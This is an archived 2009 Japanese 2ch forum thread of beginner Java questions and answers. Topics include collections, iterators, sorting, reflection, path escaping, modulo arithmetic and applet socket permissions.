5ちゃんねる ★スマホ版★ ■掲示板に戻る■ 全部 1- 最新50  

■ このスレッドは過去ログ倉庫に格納されています

【初心者】Java質問・相談スレッド125【歓迎】

1 :デフォルトの名無しさん:2009/04/14(火) 20:20:57
プログラミング言語Javaに関する質問スレです。
JavaScript, Ajaxの質問は、ここでは受け付けていません。
Web製作管理    http://pc11.2ch.net/hp/
Webプログラミング http://pc11.2ch.net/php/
をご利用下さい。

よくある質問
・「コマンドまたはファイル名が違います」
 「'javac' は、内部コマンドまたは外部コマンド、
 操作可能なプログラムまたはバッチ ファイルとして認識されていません。」
 「Exception in thread "main" java.lang.NoClassDefFoundError: 」
 http://www.wikiroom.com/java/?path,classpath
・String に == は使うな。equals() を使え。
・「\12288 は不正な文字です。」
文字リテラル以外で全角スペースは使えません。半角スペースに。
・その他の質問→「APIのjavadoc見ろ」

前スレッド
【初心者】Java質問・相談スレッド124【歓迎】
http://pc12.2ch.net/test/read.cgi/tech/1235310653/
次スレは>>990あたりで。

過去ログ、関連スレッド、よくある質問とその回答など、
質問をする前に、貴方が見なければならないサイトについての情報は、
下のwikiのページにまとめてあります。
http://www.wikiroom.com/java/

2 :デフォルトの名無しさん:2009/04/14(火) 20:21:19
**** 関連スレッド案内 ****
■ AWT と Swing は --
Java低速GUI Swing 8
ttp://pc11.2ch.net/test/read.cgi/tech/1227234261/l50
■ SWT は --
Java 高速GUI SWT 3
ttp://pc11.2ch.net/test/read.cgi/tech/1164877399/l50

■ NTT DoCoMo の iモード携帯電話用 Java (iアプリ) は --
iモード携帯電話用Java(iアプリ) Part19
http://pc11.2ch.net/test/read.cgi/tech/1233822965/l50
■ DoCoMo 以外は --
CLDC+MIDP+携帯電話用Javaスレッド part 8
ttp://pc11.2ch.net/test/read.cgi/tech/1206017034/l50

■ 課題・宿題は --
★★ Java の宿題ここで答えます Part 67 ★★
http://pc11.2ch.net/test/read.cgi/tech/1232627790/l50

**** 開発環境が必要の場合は ****
■ J2SE 1.4.0
ttp://sdc.sun.co.jp/java/docs/j2se/1.4/ja/docs/ja/index.html
■ J2SE 5.0 (1.5.0)
ttp://java.sun.com/j2se/1.5.0/ja/
■ Java SE 6
ttp://java.sun.com/javase/ja/6/

**** 実行環境だけが必要の場合は ****
■ Java ソフトウェアのダウンロード
ttp://www.java.com/ja/

3 :デフォルトの名無しさん:2009/04/14(火) 20:26:14
早く潰れろ。糞スレ。

4 :デフォルトの名無しさん:2009/04/14(火) 20:26:33
俺が書いたからこのスレは終了記念日

5 :デフォルトの名無しさん:2009/04/14(火) 20:40:53
double i = 1.0/0.0
これゼロ除算で割り込みにならないんですね。
初めて知った。

6 :デフォルトの名無しさん:2009/04/14(火) 22:50:49
前スレ見て xhtml1.1 の DTD 付けて解析してみたけど

<?xml version="1.0" encoding="UTF-8"?>
<html version="-//W3C//DTD XHTML 1.1//EN" xml:lang="ja" xmlns="http://www.w3.org/1999/xhtml" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<head profile="" xmlns="http://www.w3.org/1999/xhtml" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<meta content="text/html;charset=UTF-8" http-equiv="Content-Type" xmlns="http://www.w3.org/1999/xhtml" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"/>
<title xmlns="http://www.w3.org/1999/xhtml" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">TITLE</title>
<link href="style.css" rel="stylesheet" type="text/css" xml:space="preserve" xmlns="http://www.w3.org/1999/xhtml" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"/>
</head>
<body xml:space="preserve" xmlns="http://www.w3.org/1999/xhtml" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<h1 xml:space="preserve" xmlns="http://www.w3.org/1999/xhtml" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">TITLE</h1>
<p xml:space="preserve" xmlns="http://www.w3.org/1999/xhtml" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
...

これはひどいwww

7 :デフォルトの名無しさん:2009/04/14(火) 23:29:55
名前空間とかはHTML要素にひとつずつだと思ったが、これは予想外だなw

8 :デフォルトの名無しさん:2009/04/14(火) 23:47:02
まあ継承するから別にいらないんだけどご丁寧に付けてるね

9 :デフォルトの名無しさん:2009/04/15(水) 18:33:56
JavaでMIDIを演奏してるんですが、
\lib\audioにあるsoundbank.gmを消したときに
音質が良くなる場合と全く音が鳴らなく場合があるんですが
原因は何でしょうか

10 :デフォルトの名無しさん:2009/04/15(水) 19:10:27
よくなる場合→別の場所にあるサウンドバンクが見つかった。
ならない場合→サウンドバンクが見つからなかった。

11 :デフォルトの名無しさん:2009/04/15(水) 20:44:47
public static void main(String[] args)
って書いてるんですけど、
public static void main(String args[])
この様な書き方も有る様ですが
実際何が違うんですか?

12 :デフォルトの名無しさん:2009/04/15(水) 20:47:41
下はC言語スタイルで、C言語、C++といったJavaより前に出来た言語のスタイル。
ソースコード上では下はそれらと互換があるけど、Javaでは上が正解だから忘れて良い。
ちなみに違いはない。

13 :デフォルトの名無しさん:2009/04/15(水) 21:04:07
>>11
下は C から来た人に馴染みがあるというだけの話。
C は型指定と配列指定が別物だったから配列と非配列をまとめて char a, b[20]; のように宣言できた
(だから変数の後に [] を付けていた)。ただ Java が出る前には同一宣言内にポインタや配列を
混在させるのはよろしくないね的な風潮ができあがって、Java では配列指定を型宣言に含めて
char[] a, b; か char a, b; のどちらかしかできなくなった。

どちらで書いてもコンパイラの解釈は同じだが Java 流儀だと前者で書く。

14 :デフォルトの名無しさん:2009/04/15(水) 22:41:17
public class test {
  public static void main(String[] args) {
    /* [] を変数名の前に書く場合と後ろに書く場合 */
    char[] data = new char[10]; // (一般的な書き方)
    char u[], v; // uのみ配列
    char x, y[]; // xのみ配列
//    char s, []t; // コンパイルエラー ×

    /* 変数を同時に2個宣言する */
    char[] o, p; // oもpも配列
    char []q, r; // qもrも配列 (変な書き方)
    char[] w, z[]; // wは1次元配列、zは2次元配列
    w = new char[10]; z = new char[10][10];
} }

15 :デフォルトの名無しさん:2009/04/15(水) 22:54:09
public class sample
{
public static void main(String[] args)
{
int hokan = 0;
int[] Num = {10,9,8,7,6,5,4,3,2,1};
for(int i = 1; i<Num.length; i++)
{
if(Num[0]<Num[1])
{
hokan = Num[0];
Num[0] = Num[1];
Num[1] = hokan;
}
}
for(int i = 0; i<10; i++)
{
System.out.println(i);
}
}
}
初心者で申し訳ないです、1〜10までの数字を逆に並び替えたいのですが
うまくいきません、間違っているところがあればご指摘お願いします。

16 :デフォルトの名無しさん:2009/04/15(水) 23:00:33
java.util.Stack使えよ
Don't repeat yourself.

17 :デフォルトの名無しさん:2009/04/15(水) 23:08:54
>>15
まず i が 1〜9 までの 9 回しかループしていない。それから Num[0] は初期状態で 10 のところで
Num[1] は 9 のところ。つまりループしながら配列内のその 2 箇所の入れ替えしかできていない。

18 :デフォルトの名無しさん:2009/04/15(水) 23:10:34
ひっかけだろうwwww
index回してないし、最後のsysoutだけじゃん。やってるのは。w

19 :デフォルトの名無しさん:2009/04/15(水) 23:12:23
>>15
>初心者で申し訳ないです、1〜10までの数字を逆に並び替えたいのですが
>うまくいきません、間違っているところがあればご指摘お願いします。
public class sho125_15
{
public static void main(String[] args)
{
int hokan = 0;
int[] Num = {10,9,8,7,6,5,4,3,2,1};
for(int i = 1; i<Num.length; i++)
{
if(Num[i-1]>Num[i])
{
hokan = Num[i-1];
Num[i-1] = Num[i];
Num[i] = hokan;
}
}
for(int i = 0; i<10; i++)
{
System.out.println(Num[i]);
}
}
}

20 :デフォルトの名無しさん:2009/04/15(水) 23:17:11
>>19
それ 9 8 7 6 5 4 3 2 1 10って表示されね?

21 :デフォルトの名無しさん:2009/04/15(水) 23:29:29
数値をソートしたいのか配列のインデックスを逆転させたいのかもはっきりしないしな。
int[] Num = {10,9,8,7,6,5,4,3,2,1};
Arrays.sort(Num);
System.out.println(Arrays.toString(Num));

22 :デフォルトの名無しさん:2009/04/15(水) 23:33:44
Mainクラス(中略)

public void run() {
 Iterator it = effects.iterator();
  while(it.hasNext() == true) { // ここでエラー
  Effect ef = (Effect)it.next();
  ef.update();
 }
}

public void effectAdd(int effectNo) {
 effects.add(new Effect(this, effectNo));
}
----------

Effectクラス(中略)

public Main m;

Effect(m) {
 this.m = m;
}

public void update() {
 if(ある条件) m.effectAdd(effectNo);
}
----------

とあるゲームを作っていて、上記のようにエフェクト追加、情報更新処理を行っているんですが、エラーが出てしまいます。
少し調べてみたところ、IteratorはhasNextで要素を探している時にaddするとエラーになることが分かりまた。
こういう場合は配列とか、他のリスト構造(?)にするしかないんでしょうか?

23 :デフォルトの名無しさん:2009/04/15(水) 23:38:46
するしかない。
Iterator it = new ArrayList(effects).iterator();

ただしそれがそのプログラム設計的に妥当なのかは別の話。

24 :22:2009/04/15(水) 23:38:53
>>22のプログラムにおかしな点があったので修正します。
ちなみにここで見やすいようにスペースを全角にしてます。

Mainクラス(中略)

private ArrayList effects = new ArrayList();

public void run() {
 Iterator it = effects.iterator();
  while(it.hasNext() == true) { // ここでエラー
  Effect ef = (Effect)it.next();
  ef.update();
 }
}

public void effectAdd(int effectNo) {
 effects.add(new Effect(this, effectNo));
}
----------

Effectクラス(中略)

public Main m;

Effect(Main m) {
 this.m = m;
}

public void update() {
 if(ある条件) m.effectAdd(effectNo);
}
----------

25 :デフォルトの名無しさん:2009/04/15(水) 23:42:19
>>23
そうですか、分かりました。
ものすごい早いレスありがとうございました。

26 :デフォルトの名無しさん:2009/04/15(水) 23:44:17
イテレータは元コレクションのビューだから、
元のコレクションが変更された時点で操作不能になる。
CopyOnWriteArrayListってのがあるからそっち使えば?
こっちはビューをコレクションを切り離す事が出来る。

27 :デフォルトの名無しさん:2009/04/15(水) 23:45:19
>>24
ArrayListじゃなくてLinkedListをこんな風にして使え
List list = Collections.synchronizedList(new LinkedList(...));


28 :19:2009/04/16(木) 01:05:05
>>15
public class sho125_15
{
  public static void main(String[] args)
  {
    int hokan = 0, i, j;
    int[] Num = {10,9,8,7,6,5,4,3,2,1};
    for(i = 1; i<Num.length; i++) // 比較する1個をまず選ぶ
    {
      for(j = i; j<Num.length; j++) // 選んだ数字を以降の全ての数字と比較する
      {
        if(Num[i-1]>Num[j])
        {
          hokan = Num[i-1];
          Num[i-1] = Num[j];
          Num[j] = hokan;
        }
      }
      for(j = 0; j<10; j++) // 毎回確認する
        System.out.print(Num[j]+" ");
        System.out.println();
    }
    for(i = 0; i<10; i++) // 最終結果の表示
      System.out.println(Num[i]);
  }
}

29 :デフォルトの名無しさん:2009/04/16(木) 05:04:52
>>9
もしWindowsなら、
soundbankを消すとMSGSが鳴る。MSGSはデフォのsoundbankより波形容量が4倍あって、その分音質がいい。
Vista以降のMSGSは、XGリセットやBankSelectですぐに黙り込む。

30 :デフォルトの名無しさん:2009/04/16(木) 06:35:07
初学者なんですが、ファイルを作るところまで学習して、
エクスプローラのアドレスバーからパスをコピーして
いろんなところにファイルを作ったりしてましたが、
Windowsのパスってパスデリミタが\ですよね。パスが深いと
いちいち\\とエスケープするのが面倒になってきました。

で勉強にもなるかなと、引数にフルパスを取って
(ソース中にハードコーディングして埋め込み)
\を\\にするようなメソッドを書いてみようとしましたが、
ソース中に\があるとコンパイルさえしてくれません(Eclipse3.2)。

そこで質問なんですが
1) 標準クラスライブラリでこのような、自動エスケープシーケンスとも
   いえるような機能ってあるのでしょうか。あったら教えてください。
2) そもそもソール中に\は存在してはいけないのでしょうか?
   うまく回避する方法はないのでしょうか。
3) クラスの自分自身の絶対/相対パスを返してくれるメソッドは
   ないものでしょうか。Class c = this.getClass();から始まるサンプル
   を見つけましたが、IDE上ではthisが赤い波線になり「staticコンテキストでは
    thisを使用できません」と全く意味が分かりません…。

結局何がやりたいかというと、キーボードから1を入力するとD:\myFolder1にファイルを作成、
2を入力するとD:\myFolder2に…というようにファイルを選択された場所に作る、
という機能のまとまりを作成してみたいのです。

よろしくご教示ください。お願いいたします。



31 :デフォルトの名無しさん:2009/04/16(木) 08:10:02
鉢物の植え替えの時、よく耳にするのは、”根鉢を崩さないで植え替えるように・・・...

32 :デフォルトの名無しさん:2009/04/16(木) 09:14:00
>>30 2)
char a = '\\';
String ss = "\\";
とする。2個の\\なら、4個にする。

33 :デフォルトの名無しさん:2009/04/16(木) 13:50:08
>>30
それは「キーボードから1を入力すると〜」というプログラムとは別に「ソースに貼り付ける前に
¥ を ¥¥ にエスケープする」プログラムを作らなければならない。コンパイル時にエスケープされて
なきゃいけないのを実行時にエスケープするコード書いても仕方がない。

クリップボードを監視してコピペ前にエスケープするプログラムでも書いてみたら?

34 :デフォルトの名無しさん:2009/04/16(木) 16:21:28
Vector は raw 型です。総称型 Vector<E> への参照は、
パラメーター化する必要があります

コードを打ったら↑なwarningが出るんだけど、これは放っておいて
いいのですか。

35 :デフォルトの名無しさん:2009/04/16(木) 16:25:46
>>34
いいんじゃね

36 :デフォルトの名無しさん:2009/04/16(木) 16:26:41
無視しても実害はないけど

入れる物が決まっていない時: Vector<?> foo = new Vector<Object>();
入れる物が決まっている時: Vector<String> foo = new Vector<String>();

下のように書けば間違えて foo に Integer 入れようとした時にコンパイラが検出してくれる。
あと特に理由がなければ Vector なんて遺物使わないで ArrayList 使いなさい。

37 :デフォルトの名無しさん:2009/04/16(木) 16:29:31
DocumentBuilderFactory に Schema オブジェクトを 1 つだけ設定できるようだけど
複数の XML Schema が混在する XML の場合は DOM にした後にテメェで Validator
動かさなきゃだめかね。

38 :デフォルトの名無しさん:2009/04/16(木) 16:31:51
うーむ、javaは難しいなあ
本に載っていることを、ただただ純情にやっていってます。
>Vector なんて遺物使わないで ArrayList 使いなさい
↑こういうことが分かるようになりたいものです。

39 :デフォルトの名無しさん:2009/04/16(木) 17:46:46
>>38
> ↑こういうことが分かるようになりたいものです。

Vector, ArrayList の話に限っていえば、参照している本が古すぎるだけってこと

40 :デフォルトの名無しさん:2009/04/16(木) 19:10:28
まーたArrayList厨か

41 :デフォルトの名無しさん:2009/04/16(木) 19:31:28
迷うくらいなら思考を停止してArrayListを使っとくのも悪くない。
初学者がSetの代わりにArrayListを使ってても笑って許せるというもの。

42 :デフォルトの名無しさん:2009/04/16(木) 19:36:38
VectorとArrayListの違いがわからんならArrayList使えばいいと思うけど。


43 :デフォルトの名無しさん:2009/04/16(木) 19:38:26
ぶっちゃけPriorityQueueとか覚えても使う機会がなさ過ぎて、
いざ実践となると、うっかり自分でソートしてたりするから基本形だけ覚えればいい。

44 :31:2009/04/16(木) 20:43:08
>>32-33
レスありがとうございます。
プログラム実行中にIDEのコンソールから
File file = new File(str); へ
C:\test\test1.txt を
タイプまたはコピペで渡すことでファイルは作成できました。
コンパイル後の実行中には\は存在していいんですね
(デバッガではstr "C:\test\test1.txt"となっていましたし)。

今までの学習の復習としてこれからゴテゴテと機能を追加予定
ですのでその時に>>32-33お二方のアドバイスを活かしたいと
思います。クリップボード監視とか皆目見当がつきませんが…。

別の質問させていただいていいでしょうか。
コンソールアプリでユーザがqを押すまで繰り返すという処理を
do{
(何かの処理)
if (isQuit.equals("q")){
 System.out.println("終了=q \nもう一度=q以外\nをタイプしてリターン");
 break;}
}while (true);
としているんですがこれって良くないのでしょうか。たしかに break; でwhile
ループを抜けるとか本筋じゃない気がしますが、理想的にはどうすれば
まっとうなのでしょうか。
ご教示いただければたすかります。
よろしくお願いいたします。



45 :デフォルトの名無しさん:2009/04/16(木) 20:46:26
while(true) に break の組み合わせなんて普通に使うが。

while(true){
  int len = in.read(buffer);
  if(len < 0) break;
  out.write(buffer, 0, len);
}

46 :デフォルトの名無しさん:2009/04/16(木) 20:59:24
Classクラスというのが登場した。
いままで出てきたクラスと毛色が違う
解説を読んでも概略する把握できないですねえ
何をやっているんでしょうか

47 :31:2009/04/16(木) 21:01:26
>>45
早速のレスありがとうございます。
そうですか安心しました。
どこかのページにwhileループは使わないで
ifをつかって(?理解不能で忘れました)
やったほうがいいとかあったものですから
心配になっていました。
ありがとうございました。

48 :デフォルトの名無しさん:2009/04/16(木) 21:10:25
>>46
メタプログラミングとか言うんだけど、まぁクラスの情報を持ってたり、普通はコードを書いて
コンパイルしなきゃいけない事をプログラムの実行中にやったりするためのもの。
例えば

List list = new ArrayList();
list.add("foo");

は、こうでも書ける (適当)。ここで指定するクラス名やメソッド名はただの文字列なので
ぶっちゃけユーザに入力させたものでも良い。

Class<?> clazz = Class.forName("java.util.ArrayList");
Object obj = clazz.newInstance();
Method method = clazz.getMethod("add", Object.class);
method.invoke(obj, "foo");

まぁ最初のうちは「クラス情報クラス」とでも思っておけば良い。

49 :デフォルトの名無しさん:2009/04/16(木) 21:48:27
>>48
なんとなくわかりました。
Class、Object、Methodというクラスも確かにありました。
コードの中でコードを生成するんですね。
ありがとうございました。


50 :デフォルトの名無しさん:2009/04/16(木) 21:57:18
APIというのがあって、そこに全てのクラスが載っているのを知りました。
大量のクラスがあるけど、全部覚える必要があるんですか、それとも、
よく使うのはほぼ決まっていて、経験と慣れみたいなもんですか。
全クラスの何パーセントくらいを使えるようになれば社会に出て通用
するんでしょうか。

51 :デフォルトの名無しさん:2009/04/16(木) 22:04:30
>>50
java.lang, java.util, java.io あたりは何を作るにも必須。あとは自分が作る
プログラムの専門分野ごとに異なる。
業務系なら java.sql, javax.xml に JEE あたりが必須になってくるし、ゲームは
よく知らんけどベタな AWT や javax.sound が必要になるんじゃないのか。

52 :15:2009/04/16(木) 22:05:44
レス遅れました、ご指摘戴いた部分を参考に完成することができました。ありがとうございます。

53 :デフォルトの名無しさん:2009/04/16(木) 22:06:23
初心者くらいですが、これって作りたい物に合わせてAPIで調べて
それを入れていく感じ・・・でよろしいでしょうか?

それとも、逆引きAPIみたいなのを調べて行くんでしょうか。
ワタシは、初心者本とアルゴリズム本を精読した程度ですが。

54 :デフォルトの名無しさん:2009/04/16(木) 22:08:21
正直 CORBA 関係は SE コアに入れなくても良かったと思う。

55 :デフォルトの名無しさん:2009/04/16(木) 22:12:03
>>53
最初の頃はまず目的 (やりたい事) に対する手段 (どれを使えばいいか) が分からないだろうから
逆引き API みたいなのが良いんでないの。そのうち「これ系の機能はこのパッケージ」っての
が分かってくるから。

56 :デフォルトの名無しさん:2009/04/16(木) 22:21:55
Integer.parse()で"-1"とかは当然認識できるものとして、
"+1"がエラー吐くのがどうも納得いかない。
というか、文字列をサクッと計算してintに戻してくれるようなAPIはないもんか。

57 :デフォルトの名無しさん:2009/04/16(木) 22:37:58
>>56
つ javax.script

58 :デフォルトの名無しさん:2009/04/16(木) 22:40:56
正規表現通してからparseIntすると楽

59 :デフォルトの名無しさん:2009/04/16(木) 22:43:46
Scripting API は環境依存だろー。Mac だと Rhino どころか JavaScript ですらなく
Apple Script だぜ?

XPath をうまく使えば四則演算程度ならおk。

60 :デフォルトの名無しさん:2009/04/16(木) 22:47:17
>>56
import javax.script.*;
public class Hoge {
public static void main(String[] args) throws ScriptException {
String expr = "+1";
new ScriptEngineManager().getEngineByName("ECMAScript").eval("print(" + expr + ")");
//new ScriptEngineManager().getEngineByName("ECMAScript").eval("print(" + args[0] + ")");
}
}

61 :デフォルトの名無しさん:2009/04/16(木) 22:50:58
>>56
javaccとかantlrとかでパーサを作れば?
自分勝手に使いやすいように仕様決められるし。

62 :デフォルトの名無しさん:2009/04/16(木) 23:32:50
Logging API って log4j みたいに起動時のシステムプロパティに設定ファイル指定したりできないの?

63 :デフォルトの名無しさん:2009/04/16(木) 23:41:14
四則計算くらい自分でパースすればいいんじゃないだろうか。


64 :デフォルトの名無しさん:2009/04/16(木) 23:55:07
四則演算くらいなら手書きでパーサを作っても大した手間でないけど
56がどんな文字列をパースしたいか次第だな

65 :デフォルトの名無しさん:2009/04/17(金) 00:35:00
あるある

66 :デフォルトの名無しさん:2009/04/17(金) 01:17:51
>>62
Logging APIに関連するシステムプロパティはLogManagerのドキュメントに説明がある。
Properties形式のプロパティファイルならjava.util.logging.config.fileで指定できる。

67 :デフォルトの名無しさん:2009/04/17(金) 02:24:06
あるサイトの、IDやパスを自動的に入れて、ボタンを押し、
その中のデータを持ってくる方法ってありますか?

データを持ってくるのは楽なんだけど、ボタンを押すのが、、、もしかしてJavascript?

68 :デフォルトの名無しさん:2009/04/17(金) 02:39:01
最後の一文のせいで誰もが反応に困る質問に変化したな。

69 :デフォルトの名無しさん:2009/04/17(金) 02:39:09
67だけど
ごめん、自己解決した。ClickってJavascriptにあった。。

70 :デフォルトの名無しさん:2009/04/17(金) 02:39:42
ブラウザ操作の自動化という事なら Robot について調べれ。
シナリオ通りにリクエスト投げまくって最後の結果を取りたいというのなら Apache の JMeter (だっけ?) でも使え。

71 :デフォルトの名無しさん:2009/04/17(金) 02:42:58
>>70
ありがとう
そうです。自動でデータを持ってきて、DBに入れるJava作ろうと思ってました。

DB入れるのは簡単だったんだけど、ボタン押すことで考えが止まってました。

72 :デフォルトの名無しさん:2009/04/17(金) 02:46:32
ボタンを押すというGUI上のアクションじゃなくて、
formのactionにだな・・・、まあ解決したんならいいか。

73 :デフォルトの名無しさん:2009/04/17(金) 04:07:56
トレードロボット基本コンポーネントパッケージ API仕様

これかぁ。だよなぁ。

74 :デフォルトの名無しさん:2009/04/17(金) 04:10:31
それはそれで興味あるが違う。AWT の Robot クラス。
http://java.sun.com/j2se/1.5.0/ja/docs/ja/api/java/awt/Robot.html

75 :デフォルトの名無しさん:2009/04/17(金) 04:17:29
んー「トレードロボット」かw
変なところへ行っちゃったっぽいなあ

深夜にいろいろありがとう

76 :デフォルトの名無しさん:2009/04/17(金) 14:34:55
暴走して追証食らわないようになwww
資金は有限。

77 :デフォルトの名無しさん:2009/04/17(金) 15:20:05
信用できないものに信用取引を任せなければ問題ない

78 :デフォルトの名無しさん:2009/04/17(金) 15:33:06
当分現物買いの機会はなさそうだけどな

79 :デフォルトの名無しさん:2009/04/17(金) 17:35:09
java空売りしてmsft買っとけ!

80 :デフォルトの名無しさん:2009/04/17(金) 19:27:37
javap が出力するヘッダファイルってプラットフォームによって変わったりする?

81 :デフォルトの名無しさん:2009/04/17(金) 19:29:48
プラットフォーム毎にデファクトスタンダードな環境があるから、変わってもおかしくはない。
COFFだとかOMFだとか、WINENTRYだとかstdcallだとか色々あるしね。

82 :デフォルトの名無しさん:2009/04/17(金) 20:31:57

List<Integer> list = Arrays.asList(hairetu);
list = new ArrayList>Integer>(list);

<A extends Number> void shori(List<A> list) {
for (Iterator<A> itr = list.iterator(); itr.hasNext();) {
こういうのがあるとき、list.iterator()は、Listクラスのiterator()メッソドを使っていると思うのですけど、
listは、ArrayListのオブジェクトなんですけど、ArrayListクラスのメソッドにはiterator()はないです。
先頭にあるList<Integer> list = Arrays.asList(intarray);から紐付いていると思うんですけど、
List<Integer> list = Arrays.asList(hairetu);で Arrays.asListのオブジェクトを生成して、
list = new ArrayList>Integer>(list);でArrays.asListのオブジェクトを生成して参照変数を置き換えています。
それでも尚、Listのメソッドをlistから使用できるのは何故なんでしょうか。
理解できていないですねえ私は。

83 :デフォルトの名無しさん:2009/04/17(金) 21:02:58
>>82
> ArrayListクラスのメソッドにはiterator()はないです。

ホントにそうかな?ちゃんと調べてみよう。
ヒントはAbstractList。ってほぼ答えじゃん。

84 :デフォルトの名無しさん:2009/04/17(金) 21:15:05
>>81
そうだよね。プラットフォームのソースと一緒に個別にしておくか。

85 :デフォルトの名無しさん:2009/04/17(金) 22:44:37
>>80-81間でjavapじゃねえだろとか突っ込みもなくスムーズに話が進んでるのはなぜなんだ

86 :デフォルトの名無しさん:2009/04/18(土) 00:24:58
BSD出身の人ですか?

87 :デフォルトの名無しさん:2009/04/18(土) 01:26:01
javah?


88 :デフォルトの名無しさん:2009/04/18(土) 01:33:42
質問です。

■やりたいこと
 m∈Z、n∈Nに対して、
 0以上n未満の範囲のmod nの値を取得したい

■問題
 %で取れると思ったのですが、
 (-8) % 5という演算では、-3という負の値が返って来てしまいます。
 (期待している値としては、2です。)


(m%n<0)?m%n+n:m%n
とするしかないでしょうか…?

89 :デフォルトの名無しさん:2009/04/18(土) 02:00:45
つ (int)Math.IEEEremainder(-8, 5)

90 :デフォルトの名無しさん:2009/04/18(土) 02:11:14
>>89
有難うございます。実現できました。

91 :デフォルトの名無しさん:2009/04/18(土) 02:13:30
システムプロパティの "os.name" や "os.arch" の一覧てどこかにないですか?

92 :デフォルトの名無しさん:2009/04/18(土) 02:16:21
システムプロパティ取得してリストすればいいよ

93 :デフォルトの名無しさん:2009/04/18(土) 02:22:59
いえプラットフォームごとの値の方をば。

94 :デフォルトの名無しさん:2009/04/18(土) 02:29:29
そりゃ実行環境固有の文字列になるだろ。
何が目的か言った方が早いぞ。

95 :デフォルトの名無しさん:2009/04/18(土) 02:36:54
>>83
継承してました。ありがとうございました。

int m = 10
Integer[] hairetu = new Integer[m];
for (int i = 0; i < m; i++) { hairetu[i] = i; }
List<Integer> list = Arrays.asList(hairetu);
list = new ArrayList>Integer>(list);

10個の数字を入れられる入れ物をつくって、Integerクラス型の変数hairetuにポインタ代入して、
for文で実際に入れ物に値を入れて、
ArraysクラスのasListメゾットの引数に中身が入った入れ物のポインタを渡して、
Listクラスの変数listに戻り値のポインタを代入して、
そのポインタをArrayListクラスのコンストラクタ引数に渡して、
オブジェクト生成して、そのポインタをlistに代入している。と思うんですけど、
よく分からなくなりました。
0〜9までの数字が入ったhairetuがあって、それがメモリ上にあって、それを参照するのに、
変数にポインタが入ってて、結局最後には、listという変数から、配列が見えるんだけど、
Integerとか、Arraysとか、ArrayListとか、違ったクラスのオブジェクトを経由するけど、
各クラスにはそれぞれのフィールドやメソッドなどがあるんだけど、
それぞれに、10個の配列(hairetu)は、実体として、どのように紐ついているんでしょうか。

96 :デフォルトの名無しさん:2009/04/18(土) 02:41:35
ぽいんたw

97 :デフォルトの名無しさん:2009/04/18(土) 02:57:55
>>95
そういう書き方であれば、答えは、なんとなくあってる。

詳しい実装はソースを見て勉強してください。
基本的にAPIdocument に書いてあることが行われるように実装されています。


ArrayListでの固有機能が必要でなければ、最後の行は必要ないと思うんだ。

98 :デフォルトの名無しさん:2009/04/18(土) 03:25:43
>>95
Arrays.asListは文字通りas-listで、配列をListに見立てるだけ。
ArrayListは初期値にListを使ってるだけで、配列は引数から独立してる。(Integer自身は変更無し)

Integer[] intArray = new Integer[]{0, 1, 2, 3, 4, 5, 6, 7, 8, 9};
List<Integer> asList = Arrays.<Integer>asList(intArray);
List<Integer> arrayList = new ArrayList<Integer>(asList);
Comparator<Integer> reversOrder = Collections.reverseOrder();
Arrays.sort(intArray, reversOrder);

↑でasListは9..0となり、arrayListは0..9のまま。

99 :デフォルトの名無しさん:2009/04/18(土) 03:33:33
>>97
上記では、オブジェクトの参照であるhairetuでもlistでも最後のlistでも、
10個の値が入った入れ物の内容が見れると思うんですけど、
たとえばListくらすであれば今回の場合は、listとして参照できるのは、
10個の値が入った入れ物の内容だけなんでしょうか。
私は、各クラスがインスタンス化されたら、型枠のようなクラスが、
そっくりそのままオブジェクト(実体)としてコピーされると
考えていました。そうなると、たとえばListクラスなら、10個の配列は、
Listオブジェクトの、どこに入るんだろうかと疑問に思う。
肝の部分がまだ見えてないんですよね。

100 :デフォルトの名無しさん:2009/04/18(土) 10:01:25
>>99
元になったデータの扱いがどうなっているかは実装次第です。

変数や引数で宣言されているクラスは、あくまでも「のぞき穴」です。
もちろん、代入できるのは、のぞき穴で見られるものだけですが。

基本的にJavaでのオブジェクトの生成は new 演算子でのみ行えます。
その実体化を行ったクラスで、生成に用いた値がどのような扱いなのかは
ソースを見てください。

101 :デフォルトの名無しさん:2009/04/18(土) 11:35:59
アプレット-サーバ間通信についておしえてください。

アプレットでミニゲームを作成しようと考えており、ソケットを利用してアプレットと
サーバ(webサーバと同一です)を接続したいと考えているのですが、
アプレットからサーバに接続しようとしたら
java.security.AccessControlException: access denied
が発生してしまいました。

webサーバに対しては、アプレットでも直接通信できると思ったのですが、どうもそう単純ではなかったようです。
ソケット通信を使う時点で、ポリシーファイルの設定が必須になってしまうものなのでしょうか。

102 :デフォルトの名無しさん:2009/04/18(土) 18:22:53
>>101
アプレットで直接通信できるのはデフォルトではアプレットが置かれていたサーバのみだけどそれは大丈夫?
例えばまだ開発途中でローカルマシン上にあるアプレットから本来置かれるべきwebサーバにアクセスしようとしたりしていない?

103 :デフォルトの名無しさん:2009/04/18(土) 18:38:33
>>102
開発途中なので、ローカルマシンのアプレットからローカルマシンのサーバへアクセスしています。
サーバを立ち上げ、アプレットから"localhost"に対してアクセスに行くと、

java.security.AccessControlException: access denied (java.net.SocketPermission 127.0.0.1:ポート番号 connect,resolve)


という表示になります。
アプレットをeclipseから起動した場合、サーバと通信可能です。
アプレットを呼び出すhtml側で、通信を許可するオプション等が必要なのでしょうか。

104 :デフォルトの名無しさん:2009/04/18(土) 18:51:06
>>103
アプレットのgetCodeBase()やgetDocumentBase()が返すURLから得られるホストとlocalhostは一致する?
ローカルサーバアドレスとループバックアドレスは一致しない可能性がある。

105 :デフォルトの名無しさん:2009/04/18(土) 19:14:44
>>104
まさにそれでした。
localhostに対してアクセスに行っているのに、getCodeBase()では

INFO: debug:codeBase:file:/C:/java/hogehogeProject/

というような値が返ってきてました。
たぶんこれが原因だと思います。

ローカルでもちゃんとサーバ立てれば解決しそう。

いろいろありがとうございました。

106 :デフォルトの名無しさん:2009/04/18(土) 20:00:59
メソッドを使った時、配列は戻り値を指定しなくても、勝手に元の(引数の)配列に代入されるのですか?
この仕様は意味がわかりません
配列を戻したいなら、戻り値の型の指定でString[] とか、ちゃんと型を指定しないといけないんじゃないの?

107 :デフォルトの名無しさん:2009/04/18(土) 20:03:01
サンドボックスのドメインってどこまでが範囲だっけ?
